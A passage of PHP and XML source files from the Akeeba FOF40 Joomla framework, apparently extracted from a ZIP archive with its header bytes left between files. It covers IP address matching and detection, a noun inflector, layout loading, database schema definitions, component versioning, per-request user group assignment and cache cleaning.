(!self::isIPv6($ipExpression)) { continue; } $ipCheck = @inet_pton($ipExpression); if ($ipCheck === false) { continue; } if ($ipCheck === $myIP) { return true; } } else { // Standard IPv4 address, i.e. 123.123.123.123 or partial IP address, i.e. 123.[123.][123.][123] $dots = 0; if (substr($ipExpression, -1) == '.') { // Partial IP address. Convert to CIDR and re-match foreach (count_chars($ipExpression, 1) as $i => $val) { if ($i == 46) { $dots = $val; } } $netmask = '255.255.255.255'; switch ($dots) { case 1: $netmask = '255.0.0.0'; $ipExpression .= '0.0.0'; break; case 2: $netmask = '255.255.0.0'; $ipExpression .= '0.0'; break; case 3: $netmask = '255.255.255.0'; $ipExpression .= '0'; break; default: $dots = 0; } if ($dots) { $binaryip = self::inet_to_bits($myIP); // Convert netmask to CIDR $long = ip2long($netmask); $base = ip2long('255.255.255.255'); $maskbits = 32 - log(($long ^ $base) + 1, 2); $net = @inet_pton($ipExpression); // Sanity check if ($net === false) { continue; } // Get the network's binary representation $binarynet = self::inet_to_bits($net); $expectedNumberOfBits = $ipv6 ? 128 : 24; $binarynet = str_pad($binarynet, $expectedNumberOfBits, '0', STR_PAD_RIGHT); // Check the corresponding bits of the IP and the network $ip_net_bits = substr($binaryip, 0, $maskbits); $net_bits = substr($binarynet, 0, $maskbits); if ($ip_net_bits === $net_bits) { return true; } } } if (!$dots) { $ip = @inet_pton(trim($ipExpression)); if ($ip == $myIP) { return true; } } } } return false; } /** * Works around the REMOTE_ADDR not containing the user's IP */ public static function workaroundIPIssues(): void { $ip = self::getIp(); if (array_key_exists('REMOTE_ADDR', $_SERVER) && ($_SERVER['REMOTE_ADDR'] == $ip)) { return; } if (array_key_exists('REMOTE_ADDR', $_SERVER)) { $_SERVER['FOF_REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR']; } elseif (function_exists('getenv')) { if (getenv('REMOTE_ADDR')) { $_SERVER['FOF_REMOTE_ADDR'] = getenv('REMOTE_ADDR'); } } $_SERVER['REMOTE_ADDR'] = $ip; } /** * Should I allow the remote client's IP to be overridden by an X-Forwarded-For or Client-Ip HTTP header? * * @param bool $newState True to allow the override * * @return void */ public static function setAllowIpOverrides(bool $newState): void { self::$allowIpOverrides = $newState; } /** * Is it an IPv6 IP address? * * @param string $ip An IPv4 or IPv6 address * * @return boolean True if it's IPv6 */ protected static function isIPv6(string $ip): bool { return strstr($ip, ':') !== false; } /** * Gets the visitor's IP address. Automatically handles reverse proxies * reporting the IPs of intermediate devices, like load balancers. Examples: * https://www.akeeba.com/support/admin-tools/13743-double-ip-adresses-in-security-exception-log-warnings.html * http://stackoverflow.com/questions/2422395/why-is-request-envremote-addr-returning-two-ips * The solution used is assuming that the first IP address is the external one (unless $useFirstIpInChain is set to * false) * * @return string */ protected static function detectAndCleanIP(): string { $ip = static::detectIP(); if ((strstr($ip, ',') !== false) || (strstr($ip, ' ') !== false)) { $ip = str_replace(' ', ',', $ip); $ip = str_replace(',,', ',', $ip); $ips = explode(',', $ip); $ip = ''; // Loop until we're running out of parts or we have a hit while ($ips) { $ip = array_shift($ips); $ip = trim($ip); if (self::$useFirstIpInChain) { return self::cleanIP($ip); } } } return self::cleanIP($ip); } protected static function cleanIP(string $ip): string { $ip = trim($ip); $ip = strtoupper($ip); /** * Work around IPv4-mapped addresses. * * IPv4 addresses may be embedded in an IPv6 address. This is always 80 zeroes, 16 ones and the IPv4 address. * In all possible IPv6 notations this is: * 0:0:0:0:0:FFFF:192.168.1.1 * ::FFFF:192.168.1.1 * ::FFFF:C0A8:0101 * * @see http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding-2.htm */ if ((strpos($ip, '::FFFF:') === 0) || (strpos($ip, '0:0:0:0:0:FFFF:') === 0)) { // Fast path: the embedded IPv4 is in decimal notation. if (strstr($ip, '.') !== false) { return substr($ip, strrpos($ip, ':') + 1); } // Get the embedded IPv4 (in hex notation) $ip = substr($ip, strpos($ip, ':FFFF:') + 6); // Convert each 16-bit WORD to decimal [$word1, $word2] = explode(':', $ip); $word1 = hexdec($word1); $word2 = hexdec($word2); $longIp = $word1 * 65536 + $word2; return long2ip($longIp); } return $ip; } /** * Gets the visitor's IP address * * @return string */ protected static function detectIP(): string { // Normally the $_SERVER superglobal is set if (isset($_SERVER)) { // Do we have IP overrides enabled? if (static::$allowIpOverrides) { // If so, check for every proxy header foreach (static::$proxyHeaders as $header) { if (array_key_exists($header, $_SERVER)) { return $_SERVER[$header]; } } } // CLI applications if (!array_key_exists('REMOTE_ADDR', $_SERVER)) { return ''; } // Normal, non-proxied server or server behind a transparent proxy return $_SERVER['REMOTE_ADDR']; } // This part is executed on PHP running as CGI, or on SAPIs which do // not set the $_SERVER superglobal // If getenv() is disabled, you're screwed if (!function_exists('getenv')) { return ''; } // Do we have IP overrides enabled? if (static::$allowIpOverrides) { // If so, check for every proxy header foreach (static::$proxyHeaders as $header) { if (getenv($header)) { return getenv($header); } } } // Normal, non-proxied server or server behind a transparent proxy if (getenv('REMOTE_ADDR')) { return getenv('REMOTE_ADDR'); } // Catch-all case for broken servers and CLI applications return ''; } /** * Converts inet_pton output to bits string * * @param string $inet The in_addr representation of an IPv4 or IPv6 address * * @return string */ protected static function inet_to_bits(string $inet): string { $unpacked = strlen($inet) == 4 ? unpack('C4', $inet) : unpack('C16', $inet); $binaryip = ''; foreach ($unpacked as $byte) { $binaryip .= str_pad(decbin($byte), 8, '0', STR_PAD_LEFT); } return $binaryip; } /** * Checks if an IPv6 address $ip is part of the IPv6 CIDR block $cidrnet * * @param string $ip The IPv6 address to check, e.g. 21DA:00D3:0000:2F3B:02AC:00FF:FE28:9C5A * @param string $cidrnet The IPv6 CIDR block, e.g. 21DA:00D3:0000:2F3B::/64 * * @return bool */ protected static function checkIPv6CIDR(string $ip, string $cidrnet): bool { $ip = inet_pton($ip); $binaryip = self::inet_to_bits($ip); [$net, $maskbits] = explode('/', $cidrnet); $net = inet_pton($net); $binarynet = self::inet_to_bits($net); $ip_net_bits = substr($binaryip, 0, $maskbits); $net_bits = substr($binarynet, 0, $maskbits); return $ip_net_bits === $net_bits; } } PK���\D]k3k3fof40/Inflector/Inflector.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Inflector; defined('_JEXEC') || die; /** * An Inflector to pluralize and singularize English nouns. */ class Inflector { /** * Rules for pluralizing and singularizing of nouns. * * @var array */ protected $rules = [ // Pluralization rules. The regex on the left transforms to the regex on the right. 'pluralization' => [ '/move$/i' => 'moves', '/sex$/i' => 'sexes', '/child$/i' => 'children', '/children$/i' => 'children', '/man$/i' => 'men', '/men$/i' => 'men', '/foot$/i' => 'feet', '/feet$/i' => 'feet', '/person$/i' => 'people', '/people$/i' => 'people', '/taxon$/i' => 'taxa', '/taxa$/i' => 'taxa', '/(quiz)$/i' => '$1zes', '/^(ox)$/i' => '$1en', '/oxen$/i' => 'oxen', '/(m|l)ouse$/i' => '$1ice', '/(m|l)ice$/i' => '$1ice', '/(matr|vert|ind|suff)ix|ex$/i' => '$1ices', '/(x|ch|ss|sh)$/i' => '$1es', '/([^aeiouy]|qu)y$/i' => '$1ies', '/(?:([^f])fe|([lr])f)$/i' => '$1$2ves', '/sis$/i' => 'ses', '/([ti]|addend)um$/i' => '$1a', '/([ti]|addend)a$/i' => '$1a', '/(alumn|formul)a$/i' => '$1ae', '/(alumn|formul)ae$/i' => '$1ae', '/(buffal|tomat|her)o$/i' => '$1oes', '/(bu)s$/i' => '$1ses', '/(campu)s$/i' => '$1ses', '/(alias|status)$/i' => '$1es', '/(octop|vir)us$/i' => '$1i', '/(octop|vir)i$/i' => '$1i', '/(gen)us$/i' => '$1era', '/(gen)era$/i' => '$1era', '/(ax|test)is$/i' => '$1es', '/s$/i' => 's', '/$/' => 's', ], // Singularization rules. The regex on the left transforms to the regex on the right. 'singularization' => [ '/cookies$/i' => 'cookie', '/moves$/i' => 'move', '/sexes$/i' => 'sex', '/children$/i' => 'child', '/men$/i' => 'man', '/feet$/i' => 'foot', '/people$/i' => 'person', '/taxa$/i' => 'taxon', '/databases$/i' => 'database', '/menus$/i' => 'menu', '/(quiz)zes$/i' => '\1', '/(matr|suff)ices$/i' => '\1ix', '/(vert|ind|cod)ices$/i' => '\1ex', '/^(ox)en/i' => '\1', '/(alias|status)es$/i' => '\1', '/(tomato|hero|buffalo)es$/i' => '\1', '/([octop|vir])i$/i' => '\1us', '/(gen)era$/i' => '\1us', '/(cris|^ax|test)es$/i' => '\1is', '/is$/i' => 'is', '/us$/i' => 'us', '/ias$/i' => 'ias', '/(shoe)s$/i' => '\1', '/(o)es$/i' => '\1e', '/(bus)es$/i' => '\1', '/(campus)es$/i' => '\1', '/([m|l])ice$/i' => '\1ouse', '/(x|ch|ss|sh)es$/i' => '\1', '/(m)ovies$/i' => '\1ovie', '/(s)eries$/i' => '\1eries', '/(v)ies$/i' => '\1ie', '/([^aeiouy]|qu)ies$/i' => '\1y', '/([lr])ves$/i' => '\1f', '/(tive)s$/i' => '\1', '/(hive)s$/i' => '\1', '/([^f])ves$/i' => '\1fe', '/(^analy)ses$/i' => '\1sis', '/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$/i' => '\1\2sis', '/([ti]|addend)a$/i' => '\1um', '/(alumn|formul)ae$/i' => '$1a', '/(n)ews$/i' => '\1ews', '/(.*)ss$/i' => '\1ss', '/(.*)s$/i' => '\1', ], // Uncountable objects are always singular 'uncountable' => [ 'aircraft', 'cannon', 'deer', 'equipment', 'fish', 'information', 'money', 'moose', 'news', 'rice', 'series', 'sheep', 'species', 'swine', ], ]; /** * Cache of pluralized and singularized nouns. * * @var array */ protected $cache = [ 'singularized' => [], 'pluralized' => [], ]; /** * Removes the cache of pluralised and singularised words. Useful when you want to replace word pairs. * * @return void */ public function deleteCache(): void { $this->cache['pluralized'] = []; $this->cache['singularized'] = []; } /** * Add a word to the cache, useful to make exceptions or to add words in other languages. * * @param string $singular word. * @param string $plural word. * * @return void */ public function addWord(string $singular, string $plural): void { $this->cache['pluralized'][$singular] = $plural; $this->cache['singularized'][$plural] = $singular; } /** * Singular English word to plural. * * @param string $word word to pluralize. * * @return string Plural noun. */ public function pluralize(string $word): string { // Get the cached noun of it exists if (isset($this->cache['pluralized'][$word])) { return $this->cache['pluralized'][$word]; } // Check if the noun is already in plural form, i.e. in the singularized cache if (isset($this->cache['singularized'][$word])) { return $word; } // Create the plural noun if (in_array($word, $this->rules['uncountable'])) { $_cache['pluralized'][$word] = $word; return $word; } foreach ($this->rules['pluralization'] as $regexp => $replacement) { $matches = null; $plural = preg_replace($regexp, $replacement, $word, -1, $matches); if ($matches > 0) { $_cache['pluralized'][$word] = $plural; return $plural; } } return $word; } /** * Plural English word to singular. * * @param string $word Word to singularize. * * @return string Singular noun. */ public function singularize(string $word): string { // Get the cached noun of it exists if (isset($this->cache['singularized'][$word])) { return $this->cache['singularized'][$word]; } // Check if the noun is already in singular form, i.e. in the pluralized cache if (isset($this->cache['pluralized'][$word])) { return $word; } // Create the singular noun if (in_array($word, $this->rules['uncountable'])) { $_cache['singularized'][$word] = $word; return $word; } foreach ($this->rules['singularization'] as $regexp => $replacement) { $matches = null; $singular = preg_replace($regexp, $replacement, $word, -1, $matches); if ($matches > 0) { $_cache['singularized'][$word] = $singular; return $singular; } } return $word; } /** * Returns given word as CamelCased. * * Converts a word like "foo_bar" or "foo bar" to "FooBar". It * will remove non alphanumeric characters from the word, so * "who's online" will be converted to "WhoSOnline" * * @param string $word Word to convert to camel case. * * @return string UpperCamelCasedWord */ public function camelize(string $word): string { $word = preg_replace('/[^a-zA-Z0-9\s]/', ' ', $word); return str_replace(' ', '', ucwords(strtolower(str_replace('_', ' ', $word)))); } /** * Converts a word "into_it_s_underscored_version" * * Convert any "CamelCased" or "ordinary Word" into an "underscored_word". * * @param string $word Word to underscore * * @return string Underscored word */ public function underscore(string $word): string { $word = preg_replace('/(\s)+/', '_', $word); return strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $word)); } /** * Convert any "CamelCased" word into an array of strings * * Returns an array of strings each of which is a substring of string formed * by splitting it at the camelcased letters. * * @param string $word Word to explode * * @return string[] Array of strings */ public function explode(string $word): array { return explode('_', self::underscore($word)); } /** * Convert an array of strings into a "CamelCased" word. * * @param string[] $words Array of words to implode * * @return string UpperCamelCasedWord */ public function implode(array $words): string { return self::camelize(implode('_', $words)); } /** * Returns a human-readable string from $word. * * Returns a human-readable string from $word, by replacing * underscores with a space, and by upper-casing the initial * character by default. * * @param string $word String to "humanize" * * @return string Human-readable word */ public function humanize(string $word): string { return ucwords(strtolower(str_replace("_", " ", $word))); } /** * Returns camelBacked version of a string. Same as camelize but first char is lowercased. * * @param string $string String to be camelBacked. * * @return string * * @see self::camelize() */ public function variablize(string $string): string { $string = self::camelize(self::underscore($string)); $result = strtolower(substr($string, 0, 1)); return preg_replace('/\\w/', $result, $string, 1); } /** * Check to see if an English word is singular * * @param string $string The word to check * * @return boolean */ public function isSingular(string $string): bool { // Check cache assuming the string is plural. $singular = $this->cache['singularized'][$string] ?? null; $plural = $singular && isset($this->cache['pluralized'][$singular]) ? $this->cache['pluralized'][$singular] : null; if ($singular && $plural) { return $plural != $string; } // If string is not in the cache, try to pluralize and singularize it. return self::singularize(self::pluralize($string)) === $string; } /** * Check to see if an English word is plural. * * @param string $string String to be checked. * * @return boolean */ public function isPlural(string $string): bool { // Uncountable objects are always singular (e.g. information) if (in_array($string, $this->rules['uncountable'])) { return false; } // Check cache assuming the string is singular. $plural = $this->cache['pluralized'][$string] ?? null; $singular = $plural && isset($this->cache['singularized'][$plural]) ? $this->cache['singularized'][$plural] : null; if ($plural && $singular) { return $singular != $string; } // If string is not in the cache, try to singularize and pluralize it. return self::pluralize(self::singularize($string)) === $string; } /** * Gets a part of a CamelCased word by index. * * Use a negative index to start at the last part of the word (-1 is the * last part) * * @param string $string Word * @param integer $index Index of the part * @param string|null $default Default value * * @return string|null */ public function getPart(string $string, int $index, ?string $default = null): ?string { $parts = self::explode($string); if ($index < 0) { $index = count($parts) + $index; } return $parts[$index] ?? $default; } } PK���\{�?�zzfof40/Layout/LayoutFile.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Layout; defined('_JEXEC') || die; use FOF40\Container\Container; use Joomla\CMS\Layout\FileLayout; /** * Base class for rendering a display layout * loaded from from a layout file * * This class searches for Joomla! version override Layouts. For example, * if you have run this under Joomla! 3.0 and you try to load * mylayout.default it will automatically search for the * layout files default.j30.php, default.j3.php and default.php, in this * order. * * @package FrameworkOnFramework */ class LayoutFile extends FileLayout { /** @var Container The component container */ public $container; /** * Method to finds the full real file path, checking possible overrides * * @return string The full path to the layout file */ protected function getPath() { if (is_null($this->container)) { $component = $this->options->get('component'); $this->container = Container::getInstance($component); } $filesystem = $this->container->filesystem; if (is_null($this->fullPath) && !empty($this->layoutId)) { $parts = explode('.', $this->layoutId); $file = array_pop($parts); $filePath = implode('/', $parts); $suffixes = $this->container->platform->getTemplateSuffixes(); foreach ($suffixes as $suffix) { $files[] = $file . $suffix . '.php'; } $files[] = $file . '.php'; $platformDirs = $this->container->platform->getPlatformBaseDirs(); $prefix = $this->container->platform->isBackend() ? $platformDirs['admin'] : $platformDirs['root']; $possiblePaths = [ $prefix . '/templates/' . $this->container->platform->getTemplate() . '/html/layouts/' . $filePath, $this->basePath . '/' . $filePath, $platformDirs['root'] . '/layouts/' . $filePath, ]; reset($files); foreach ($files as $fileName) { if (!is_null($this->fullPath)) { break; } $this->fullPath = $filesystem->pathFind($possiblePaths, $fileName); } } return $this->fullPath; } } PK���\ρ���fof40/Layout/LayoutHelper.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Layout; defined('_JEXEC') || die; use FOF40\Container\Container; class LayoutHelper { /** * A default base path that will be used if none is provided when calling the render method. * Note that FileLayout itself will default to JPATH_ROOT . '/layouts' if no basePath is supplied at all * * @var string */ public static $defaultBasePath = ''; /** * Method to render the layout. * * @param Container $container The container of your component * @param string $layoutFile Dot separated path to the layout file, relative to base path * @param array $displayData Array with values to be used inside the layout file to build displayed output * @param string $basePath Base path to use when loading layout files * * @return string */ public static function render(Container $container, string $layoutFile, array $displayData = [], string $basePath = ''): string { $basePath = empty($basePath) ? self::$defaultBasePath : $basePath; // Make sure we send null to LayoutFile if no path set $basePath = empty($basePath) ? null : $basePath; $layout = new LayoutFile($layoutFile, $basePath); $layout->container = $container; return $layout->render($displayData); } } PK���\Az"fof40/sql/mysql.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?> <!--~ ~ @package FOF ~ @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd ~ @license GNU General Public License version 3, or later --> <schema> <meta> <drivers> <driver>mysql</driver> <driver>mysqli</driver> <driver>pdomysql</driver> </drivers> <!-- We don't want this table to be converted to a different charset automatically. We will only convert a single column. --> <autocollation>false</autocollation> </meta> <sql> <action table="#__akeeba_common" canfail="0"> <condition type="missing" value=""/> <query><![CDATA[ CREATE TABLE IF NOT EXISTS `#__akeeba_common` ( `key` varchar(190) NOT NULL, `value` longtext NOT NULL, PRIMARY KEY (`key`) ) DEFAULT COLLATE utf8_general_ci CHARSET=utf8; ]]></query> </action> <action table="#__akeeba_common" canfail="1"> <condition type="utf8mb4upgrade"/> <query><![CDATA[ ALTER TABLE `#__akeeba_common` MODIFY COLUMN `value` longtext COLLATE utf8mb4_unicode_ci NOT NULL; ]]></query> </action> <action table="#__akeeba_common" canfail="1"> <condition type="true" /> <query><![CDATA[ ALTER TABLE `#__akeeba_common` MODIFY COLUMN `key` varchar(190) COLLATE utf8_unicode_ci NOT NULL; ]]></query> </action> </sql> </schema>PK���\�;wiifof40/sql/postgresql.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?> <!--~ ~ @package FOF ~ @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd ~ @license GNU General Public License version 3, or later --> <schema> <meta> <drivers> <driver>postgres</driver> <driver>postgresql</driver> </drivers> </meta> <sql> <action table="#__akeeba_common" canfail="0"> <condition type="missing" value=""/> <query><![CDATA[ CREATE TABLE IF NOT EXISTS "#__akeeba_common" ( "key" character varying(192) NOT NULL, "value" text NOT NULL, PRIMARY KEY ("key") ); ]]></query> </action> </sql> </schema>PK���\j�}��fof40/sql/sqlsrv.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?> <!--~ ~ @package FOF ~ @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd ~ @license GNU General Public License version 3, or later --> <schema> <meta> <drivers> <driver>sqlsrv</driver> <driver>sqlazure</driver> </drivers> </meta> <sql> <action table="#__akeeba_common" canfail="0"> <condition type="missing" value=""/> <query><![CDATA[ CREATE TABLE [#__akeeba_common] ( [key] [NVARCHAR](192) NOT NULL, [value] [TEXT] NOT NULL, CONSTRAINT [PK_#__akeeba_common] PRIMARY KEY CLUSTERED ( [key] ASC ) WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF) ) ]]></query> </action> </sql> </schema>PK���\g)H� � ,fof40/JoomlaAbstraction/ComponentVersion.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\JoomlaAbstraction; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Factory as JoomlaFactory; use SimpleXMLElement; /** * Retrieve the version of a component from the cached XML manifest or, if it's not present, the version recorded in the * database. */ abstract class ComponentVersion { /** * A cache with the version numbers of components * * @var array * * @since 3.1.5 */ private static $version = array(); /** * Get a component's version. The XML manifest on disk will be tried first. If it's not there or does not have a * version string the manifest cache in the database is tried. If that fails a fake version number will be returned. * * @param string $component The name of the component, e.g. com_foobar * * @return string The version string * * @since 3.1.5 */ public static function getFor(string $component): string { if (!isset(self::$version[$component])) { self::$version[$component] = null; } if (is_null(self::$version[$component])) { self::$version[$component] = self::getVersionFromManifest($component); } if (is_null(self::$version[$component])) { self::$version[$component] = self::getVersionFromDatabase($component); } if (is_null(self::$version[$component])) { self::$version[$component] = 'dev-' . str_replace(' ', '_', microtime(false)); } return self::$version[$component]; } /** * Get a component's version from the manifest cache in the database * * @param string $component The component's bname * * @return string|null The component version or null if none is defined * * @since 3.1.5 */ private static function getVersionFromDatabase(string $component): ?string { $db = JoomlaFactory::getDbo(); $query = $db->getQuery(true) ->select($db->qn('manifest_cache')) ->from($db->qn('#__extensions')) ->where($db->qn('element') . ' = ' . $db->q($component)) ->where($db->qn('type') . ' = ' . $db->q('component')); try { $json = $db->setQuery($query)->loadResult(); } catch (Exception $e) { return null; } if (empty($json)) { return null; } $options = json_decode($json, true); if (empty($options)) { return null; } if (!isset($options['version'])) { return null; } return $options['version']; } /** * Get a component's version from the manifest file on disk. IMPORTANT! The manifest for com_something must be named * something.xml. * * @param string $component The component's bname * * @return string The component version or null if none is defined * * @since 1.2.0 */ private static function getVersionFromManifest(string $component): ?string { $bareComponent = str_replace('com_', '', $component); $file = JPATH_ADMINISTRATOR . '/components/' . $component . '/' . $bareComponent . '.xml'; if (!is_file($file) || !is_readable($file)) { return null; } $data = @file_get_contents($file); if (empty($data)) { return null; } try { $xml = new SimpleXMLElement($data, LIBXML_COMPACT | LIBXML_NONET | LIBXML_ERR_NONE); } catch (Exception $e) { return null; } $versionNode = $xml->xpath('/extension/version'); if (empty($versionNode)) { return null; } return (string)($versionNode[0]); } } PK���\��K���)fof40/JoomlaAbstraction/DynamicGroups.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\JoomlaAbstraction; defined('_JEXEC') || die; use FOF40\Container\Container; /** * Dynamic user to user group assignment. * * This class allows you to add / remove the currently logged in user to a user group without writing the information to * the database. This is useful when you want to allow core and third party code to allow or prohibit display of * information and / or taking actions based on a condition controlled in your code. */ class DynamicGroups { /** * Add the current user to a user group just for this page load. * * @param int $groupID The group ID to add the current user into. * * @return void */ public static function addGroup(int $groupID): void { self::addRemoveGroup($groupID, true); self::cleanUpUserObjectCache(); } /** * Remove the current user from a user group just for this page load. * * @param int $groupID The group ID to remove the current user from. * * @return void */ public static function removeGroup(int $groupID): void { self::addRemoveGroup($groupID, false); self::cleanUpUserObjectCache(); } /** * Internal function to add or remove the current user from a user group just for this page load. * * @param int $groupID The group ID to add / remove the current user from. * @param bool $add Add (true) or remove (false) the user? * * @return void */ protected static function addRemoveGroup(int $groupID, bool $add): void { // Get a fake container (we need it for its platform interface) $container = Container::getInstance('com_FOOBAR'); /** * Make sure that Joomla has retrieved the user's groups from the database. * * By going through the User object's getAuthorisedGroups we force Joomla to go through Access::getGroupsByUser * which retrieves the information from the database and caches it into the Access helper class. */ $container->platform->getUser()->getAuthorisedGroups(); $container->platform->getUser($container->platform->getUser()->id)->getAuthorisedGroups(); /** * Now we can get a Reflection object into Joomla's Access helper class and manipulate its groupsByUser cache. */ $className = 'Joomla\\CMS\\Access\\Access'; try { $reflectedAccess = new \ReflectionClass($className); } catch (\ReflectionException $e) { // This should never happen! $container->platform->logDebug('Cannot locate the Joomla\\CMS\\Access\\Access class. Is your Joomla installation broken or too old / too new?'); return; } $groupsByUser = $reflectedAccess->getProperty('groupsByUser'); $groupsByUser->setAccessible(true); $rawGroupsByUser = $groupsByUser->getValue(); /** * Next up, we need to manipulate the keys of the cache which contain user to user group assignments. * * $rawGroupsByUser (Access::$groupsByUser) stored the group ownership as userID:recursive e.g. 0:1 for the * default user, recursive. We need to deal with four keys: 0:1, 0:0, myID:1 and myID:0 */ $user = $container->platform->getUser(); $keys = ['0:1', '0:0', $user->id . ':1', $user->id . ':0']; foreach ($keys as $key) { if (!array_key_exists($key, $rawGroupsByUser)) { continue; } $groups = $rawGroupsByUser[$key]; if ($add) { if (in_array($groupID, $groups)) { continue; } $groups[] = $groupID; } else { if (!in_array($groupID, $groups)) { continue; } $removeKey = array_search($groupID, $groups); unset($groups[$removeKey]); } $rawGroupsByUser[$key] = $groups; } // We can commit our changes back to the cache property and make it publicly inaccessible again. $groupsByUser->setValue(null, $rawGroupsByUser); $groupsByUser->setAccessible(false); /** * We are not done. Caching user groups is only one aspect of Joomla access management. Joomla also caches the * identities, i.e. the user group assignment per user, in a different cache. We need to reset it to for our * user. * * Do note that we CAN NOT use clearStatics since that also clears the user group assignment which we assigned * dynamically. Therefore calling it would destroy our work so far. */ $refProperty = $reflectedAccess->getProperty('identities'); $refProperty->setAccessible(true); $identities = $refProperty->getValue(); $keys = array($user->id, 0); foreach ($keys as $key) { if (!array_key_exists($key, $identities)) { continue; } unset($identities[$key]); } $refProperty->setValue(null, $identities); $refProperty->setAccessible(false); } /** * Clean up the current user's authenticated groups cache. * * @return void */ protected static function cleanUpUserObjectCache(): void { // Get a fake container (we need it for its platform interface) $container = Container::getInstance('com_FOOBAR'); $user = $container->platform->getUser(); $reflectedUser = new \ReflectionObject($user); // Clear the user group cache $refProperty = $reflectedUser->getProperty('_authGroups'); $refProperty->setAccessible(true); $refProperty->setValue($user, array()); $refProperty->setAccessible(false); // Clear the view access level cache $refProperty = $reflectedUser->getProperty('_authLevels'); $refProperty->setAccessible(true); $refProperty->setValue($user, array()); $refProperty->setAccessible(false); // Clear the authenticated actions cache. I haven't seen it used anywhere but it's there, so... $refProperty = $reflectedUser->getProperty('_authActions'); $refProperty->setAccessible(true); $refProperty->setValue($user, array()); $refProperty->setAccessible(false); } }PK���\D9�<�'�'(fof40/JoomlaAbstraction/CacheCleaner.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\JoomlaAbstraction; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use Joomla\Application\AbstractApplication; use Joomla\Application\ConfigurationAwareApplicationInterface; use Joomla\CMS\Cache\Cache; use Joomla\CMS\Cache\CacheControllerFactoryInterface; use Joomla\CMS\Cache\Controller\CallbackController; use Joomla\CMS\Cache\Exception\CacheExceptionInterface; use Joomla\CMS\Factory; use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\Registry\Registry; use Throwable; /** * A utility class to help you quickly clean the Joomla! cache */ class CacheCleaner { /** * Clears the com_modules and com_plugins cache. You need to call this whenever you alter the publish state or * parameters of a module or plugin from your code. * * @return void */ public static function clearPluginsAndModulesCache() { self::clearPluginsCache(); self::clearModulesCache(); } /** * Clears the com_plugins cache. You need to call this whenever you alter the publish state or parameters of a * plugin from your code. * * @return void */ public static function clearPluginsCache() { self::clearCacheGroups(['com_plugins'], [0, 1]); } /** * Clears the com_modules cache. You need to call this whenever you alter the publish state or parameters of a * module from your code. * * @return void */ public static function clearModulesCache() { self::clearCacheGroups(['com_modules'], [0, 1]); } /** * Clears the specified cache groups. * * @param array $clearGroups Which cache groups to clear. Usually this is com_yourcomponent to clear * your component's cache. * @param array $cacheClients Which cache clients to clear. 0 is the back-end, 1 is the front-end. If you * do not specify anything, both cache clients will be cleared. * @param string|null $event An event to run upon trying to clear the cache. Empty string to disable. If * NULL and the group is "com_content" I will trigger onContentCleanCache. * * @return void * @throws Exception */ public static function clearCacheGroups(array $clearGroups, array $cacheClients = [ 0, 1, ], ?string $event = null): void { // Early return on nonsensical input if (empty($clearGroups) || empty($cacheClients)) { return; } // Make sure I have an application object try { $app = Factory::getApplication(); } catch (Exception $e) { return; } // If there's no application object things will break; let's get outta here. if (!is_object($app)) { return; } $isJoomla4 = version_compare(JVERSION, '3.9999.9999', 'gt'); // Loop all groups to clean foreach ($clearGroups as $group) { // Groups must be non-empty strings if (empty($group) || !is_string($group)) { continue; } // Loop all clients (applications) foreach ($cacheClients as $client_id) { $client_id = (int) ($client_id ?? 0); $options = $isJoomla4 ? self::clearCacheGroupJoomla4($group, $client_id, $app) : self::clearCacheGroupJoomla3($group, $client_id, $app); // Do not call any events if I failed to clean the cache using the core Joomla API if (!($options['result'] ?? false)) { return; } /** * If you're cleaning com_content and you have passed no event name I will use onContentCleanCache. */ if ($group === 'com_content') { $cacheCleaningEvent = $event ?: 'onContentCleanCache'; } /** * Call Joomla's cache cleaning plugin event (e.g. onContentCleanCache) as well. * * @see BaseDatabaseModel::cleanCache() */ if (empty($cacheCleaningEvent)) { continue; } $fakeContainer = Container::getInstance('com_FOOBAR'); $fakeContainer->platform->runPlugins($cacheCleaningEvent, $options); } } } /** * Clean a cache group on Joomla 3 * * @param string $group The cache to clean, e.g. com_content * @param int $client_id The application ID for which the cache will be cleaned * @param object $app The current CMS application. DO NOT TYPEHINT MORE SPECIFICALLY! * * @return array Cache controller options, including cleaning result * @throws Exception */ private static function clearCacheGroupJoomla3(string $group, int $client_id, object $app): array { $options = [ 'defaultgroup' => $group, 'cachebase' => ($client_id) ? self::getAppConfigParam($app, 'cache_path', JPATH_SITE . '/cache') : JPATH_ADMINISTRATOR . '/cache', 'result' => true, ]; try { $cache = Cache::getInstance('callback', $options); /** @noinspection PhpUndefinedMethodInspection Available via __call(), not tagged in Joomla core */ $cache->clean(); } catch (Throwable $e) { $options['result'] = false; } return $options; } /** * Clean a cache group on Joomla 4 * * @param string $group The cache to clean, e.g. com_content * @param int $client_id The application ID for which the cache will be cleaned * @param object $app The current CMS application. DO NOT 